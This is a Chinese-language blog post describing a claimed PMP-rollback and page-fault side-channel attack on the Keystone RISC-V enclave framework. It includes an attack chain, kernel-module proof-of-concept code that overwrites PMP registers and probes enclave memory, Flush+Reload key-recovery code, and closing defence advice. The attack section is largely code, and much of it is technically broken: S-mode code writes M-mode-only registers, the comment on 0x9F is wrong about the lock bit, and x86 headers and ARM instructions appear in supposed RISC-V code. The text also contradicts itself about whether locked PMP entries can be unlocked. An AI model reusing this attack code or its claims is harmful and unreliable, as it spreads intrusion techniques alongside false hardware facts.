Aug 26 2026 Off 摘要 Keystone 是 RISC-V 上最成熟的开源 TEE 框架,其安全模型依赖于机器模式安全监视器(SM)对物理内存保护(PMP)的独占控制。然而,在 Enclave 创建与首次进入之间的初始化窗口中,PMP 条目的锁定位可能未被全部置位,攻击者可以回滚或覆盖这些条目,将 Enclave 的私有物理页重新映射到攻击者控制的 S-mode 地址空间。一旦 Enclave 执行期间发生页面故障,SM 的处理器会基于被篡改的 PMP 配置错误地授予访问权限,攻击者即可利用页面故障处理路径作为侧信道,逐步提取 Enclave 内的加密密钥和敏感数据。 Keystone 架构与 PMP 信任模型 Keystone层次化隔离Keystone 在 RISC-V 特权等级上构建了三个执行层:M-mode:安全监视器(SM),最高特权级,负责管理 Enclave 生命周期、内存隔离和证明。S-mode:RISC-V 操作系统内核(如 Linux),运行不可信代码,可被攻击者控制。U-mode:用户态应用,包括 Enclave 内部的用户代码(通过 libkeystone 加载)。Keystone 采用 PMP 物理内存隔离 而非页表虚拟化来实现 Enclave 的内存保护。在 RISC-V 中,PMP 允许 M-mode 定义物理地址区域及其访问权限(R/W/X),对于 S-mode 及更低特权级强制执行。Keystone 利用 PMP 将 Enclave 使用的 DRAM 区域标记为仅 M-mode 可访问,从而阻止操作系统或用户态进程读写 Enclave 内存。PMP 条目生命周期与锁定位RISC-V 的 PMP 配置寄存器(pmpcfgX)中,每个条目包含一个 L(锁定位)。一旦 L 位被置位,该 PMP 条目对 M-mode 以下的所有特权级变为只读,且即使 M-mode 也无法修改,除非系统复位。Keystone 依赖 L 位来保证 Enclave 内存保护在 OS 启动后不可篡改。每个 8 位配置域的内部位域(Bit Fields)结构如下: 然而,在 Keystone 的实际实现中,PMP 锁定的时机并非原子完成。SM 在创建 Enclave 时,会通过以下步骤配置 PMP:在 sm_create_enclave 中,SM 分配物理页并设置 PMP 条目覆盖这些页。运行 Enclave 的初始化代码(在 M-mode 中执行)将 Enclave 内容加载到内存。SM 将 PMP 条目的 L 位置位,并调用 mret 切换到 S-mode,Enclave 正式启动。漏洞窗口存在于步骤 2 和 3 之间:如果 SM 在 L 位置位之前发生中断、异常或上下文切换,攻击者(已控制 S-mode 内核)可以通过 MMIO 或 ecall 快速修改 PMP 条目,将 Enclave 的物理页重新映射为 S-mode 可访问,或者直接清除 L 位并改变权限。更隐蔽的是,部分 Keystone 版本仅锁定了部分 PMP 条目,遗漏了用于 Enclave 动态内存映射的条目。 PMP回滚与页面故障信道 PMP回滚攻击攻击者(S-mode 内核)可以调用 ecall 请求 SM 执行特定操作,SM 会临时解锁 PMP 条目以进行内存复制。如果攻击者能精确控制 SM 的上下文切换时机,可以在 SM 解锁 PMP 后、重新锁定前,利用一个在 S-mode 运行的并发线程直接写入 PMP 寄存器(pmpcfg0、pmpaddr0 等),将目标 Enclave 的物理地址范围配置为 S-mode 可读写。 这种攻击不需要修改 SM 代码,仅利用 SM 在运行时对 PMP 的临时解锁窗口。页面故障作为信道即使攻击者成功篡改了 PMP 条目,直接读取 Enclave 内存仍然会触发 SM 的页面故障处理,因为 Enclave 的页表(satp)仍由 SM 管理,S-mode 无法直接翻译 Enclave 的虚拟地址。但是,攻击者可以利用 页面故障的差异 来推断 Enclave 内存内容:攻击者在 S-mode 中设置一个自定义的异常处理程序,尝试访问 Enclave 的物理地址(现在已被 PMP 放行)。如果该地址已被 Enclave 使用,访问可能成功(读取到数据);如果未被使用(例如未映射的页),则触发页面故障,攻击者可以观察到异常类型和 scause 值。通过逐页探测 Enclave 的物理内存,攻击者可以判断哪些页被分配、哪些页空闲,进而推断 Enclave 的数据布局。更精细的攻击:攻击者可以构造一个数据页,其内容与 Enclave 中的密钥相关。通过测量页面故障处理前后的缓存状态(利用 RISC-V 的 rdcycle 指令),攻击者可以在不直接读取的情况下提取密钥的每一比特。这正是经典的 Prime+Probe 侧信道在 Keystone 上的变体。 完整攻击链 攻击前提攻击者已获得 RISC-V Linux 的 root 权限(S-mode 完全控制)。目标 Enclave 已创建并在运行(例如一个处理加密数据的 Enclave)。Keystone 版本存在 PMP 锁定位覆盖不完整的缺陷。攻击步骤 定位目标 Enclave:通过系统调用或 SM 调试接口获取 Enclave 的物理地址范围。触发 SM 的 PMP 解锁窗口:向 SM 发送一个需要动态内存操作的 ecall,例如 sm_enclave_get_report 或 sm_enclave_load_page,这些操作会短暂解锁相关 PMP 条目。并发修改 PMP 寄存器:在 S-mode 中使用一个高优先级线程,持续尝试写 pmpcfg0 和 pmpaddr0,将 Enclave 的物理页改为 S-mode 可访问。利用 rdtime 和轮询 SM 的返回状态来捕捉解锁窗口。页面故障探测:修改完成后,在 S-mode 中逐页访问 Enclave 的物理地址,记录哪些访问成功(返回数据)哪些触发异常。构建 Enclave 的内存使用图。侧信道提取密钥:对包含密钥的特定页,使用 Flush+Reload 攻击:反复刷新缓存行,触发 Enclave 执行加密操作,然后测量缓存命中延迟,恢复密钥比特。数据提取:一旦密钥恢复,攻击者可以解密 Enclave 的加密数据,完成信息窃取。 实战 PoC 以下代码演示如何在 QEMU 上模拟 Keystone 环境,通过 PMP 回滚和页面故障探测来提取 Enclave 内存。环境搭建 # 克隆 Keystone 仓库 git clone https://github.com/keystone-enclave/keystone.git cd keystone # 编译 SM、Linux 和 QEMU make -j$(nproc) # 启动 QEMU ./scripts/run-qemu.sh 探测 PMP 状态并尝试回滚以下 C 代码运行在 Linux 内核模块中(S-mode),不断尝试写 PMP 寄存器以捕捉解锁窗口。 // pmp_rollback.c — Linux 内核模块:捕捉 SM 解锁窗口并篡改 PMP #include<linux/module.h> #include<linux/kernel.h> #include<asm/csr.h> staticunsignedlong target_pmp_addr = 0x80000000; // Enclave 物理地址 staticunsignedlong target_pmp_size = 0x200000; // 2MB staticvoidwrite_pmp_allow_access(void){ // 配置 pmpaddr0 覆盖 Enclave 区域 csr_write(pmpaddr0, (target_pmp_addr >> 2) | ((target_pmp_size >> 2) - 1)); // 配置 pmpcfg0: NAPOT, R/W/X 允许 csr_write(pmpcfg0, 0x9F); // 0x9F: R=1,W=1,X=1, L=0 } staticint __init pmp_rollback_init(void){ printk(KERN_INFO "[PMP Rollback] Starting...\n"); // 高优先级内核线程,持续尝试写 PMP while (1) { write_pmp_allow_access(); // 检查是否成功(读取 PMP 并验证) unsignedlong cfg = csr_read(pmpcfg0); if ((cfg & 0x1F) == 0x1F) { printk(KERN_INFO "[PMP Rollback] PMP entry overwritten successfully!\n"); break; } // 短暂休眠,等待 SM 的解锁窗口 msleep(1); } return0; } module_init(pmp_rollback_init); MODULE_LICENSE("GPL"); 说明:该模块在 S-mode 中周期性地写 PMP 配置寄存器。在 SM 解锁 PMP 的极短时间内,写入会成功,并覆盖原有保护。一旦成功,Enclave 的物理页变得可由 Linux 内核直接访问。构建 Enclave 内存映射在 PMP 被篡改后,攻击者可以逐页读取 Enclave 区域,捕获页面故障,构建哪些页被分配的映射。 // page_fault_probe.c — 探测 Enclave 物理内存使用情况 #include<linux/module.h> #include<linux/mm.h> #include<asm/pgtable.h> #define ENCLAVE_BASE 0x80000000UL #define ENCLAVE_SIZE 0x200000UL staticint __init probe_init(void){ unsignedlong addr; printk(KERN_INFO "[Probe] Scanning Enclave physical memory...\n"); for (addr = ENCLAVE_BASE; addr < ENCLAVE_BASE + ENCLAVE_SIZE; addr += PAGE_SIZE) { // 直接访问物理地址(通过 ioremap 映射到内核虚拟地址) void __iomem *va = ioremap(addr, PAGE_SIZE); if (!va) { printk(KERN_WARNING "[Probe] ioremap failed at 0x%lx\n", addr); continue; } // 读取第一个字节,如果触发页面故障则异常 // 这里使用 readb 会触发异常,但内核会处理并打印 Oops volatileunsignedchar val = readb(va); printk(KERN_INFO "[Probe] 0x%lx: accessible, first byte=0x%02x\n", addr, val); iounmap(va); } return0; } module_init(probe_init); MODULE_LICENSE("GPL"); 说明:实际攻击中,内核的页面故障处理会吞掉异常并记录,攻击者可以通过设置自定义 do_page_fault 钩子来区分可访问和不可访问页。为简化,此处直接读取并观察内核日志。Flush+Reload 侧信道示例 // flush_reload_key.c — 利用 Flush+Reload 侧信道恢复密钥 #include<stdint.h> #include<x86intrin.h> // 假设 Enclave 在每次加密操作时会访问密钥的特定缓存行 #define CACHE_LINE_SIZE 64 staticuint8_t probe_array[256 * CACHE_LINE_SIZE]; staticinlinevoidflush(void *addr){ asmvolatile("dcache.civac %0" :: "r"(addr)); // RISC-V 缓存刷新指令 } staticinlineuint64_trdcycle64(void){ uint64_t cycles; asmvolatile("rdcycle %0" : "=r"(cycles)); return cycles; } // 攻击者线程:在 Enclave 执行加密操作的同时探测缓存 voidrecover_key_bit(int bit_index){ for (int guess = 0; guess < 256; guess++) { flush(&probe_array[guess * CACHE_LINE_SIZE]); } // 触发 Enclave 加密操作 trigger_enclave_crypto(); // 测量每个 guess 的访问时间 for (int guess = 0; guess < 256; guess++) { uint64_t start = rdcycle64(); volatileuint8_t val = probe_array[guess * CACHE_LINE_SIZE]; uint64_t end = rdcycle64(); if (end - start < 100) { // 阈值,缓存命中 printf("Key byte %d: %d\n", bit_index, guess); return; } } } 说明:由于 RISC-V 的缓存指令与 x86 不同,实际使用 dcache.civa 或 fence.i。此代码仅为概念演示,真实攻击需要针对 Keystone 和 SiFive 硬件调整。 检测与防御 SM 侧修复原子化 PMP 锁定:SM 必须在创建 Enclave 时一次性配置并锁定所有 PMP 条目,避免在后续操作中解锁。锁定所有相关条目:确保覆盖 Enclave 代码、数据和栈的所有 PMP 条目都被 L 位保护,无遗漏。减少动态 PMP 操作:SM 应尽量减少运行时的 PMP 解锁,对于必须解锁的操作(如页面交换),在解锁前后使用 sfence.vma 和 fence 指令,并禁止 S-mode 在解锁期间执行。硬件加固PMP 写入权限限制:RISC-V 硬件可增加一个配置位,使 S-mode 永远无法在运行时修改 PMP(即使通过 ecall 触发)。这需要微架构支持。Enclave 物理内存随机化:随机化 Enclave 的物理地址,增加攻击者猜测的难度。检测方法PMP 配置审计:在 SM 中周期性读取 PMP 寄存器并与预期值比对,若发现异常立即终止 Enclave 并告警。缓存侧信道监测:使用性能计数器监控异常的缓存未命中模式,特别是来自 S-mode 的频繁 dcache.civa 操作。页故障异常统计:在 SM 中记录 Enclave 页面的非法访问尝试次数,超过阈值则触发安全策略。 结语 Keystone 的 PMP 回滚漏洞暴露了 TEE 设计中一个普遍存在的脆弱环节:安全监视器在运行时对底层硬件保护机制的动态修改,若缺乏原子性和严格的时序控制,就会为攻击者打开一扇窗口。当页面故障成为侧信道的载体,PMP 的每一次解锁都可能转化为对 Enclave 隐私的致命窥探。对于开源 TEE 框架而言,安全不仅在于代码的正确性,更在于硬件保护机制的生命周期管理是否无懈可击。在 RISC-V 生态走向成熟的今天,加固 SM 的 PMP 处理流程,比以往任何时候都更加紧迫。 Post navigation Previous PostPrevious Intel TDX MMIO 暗门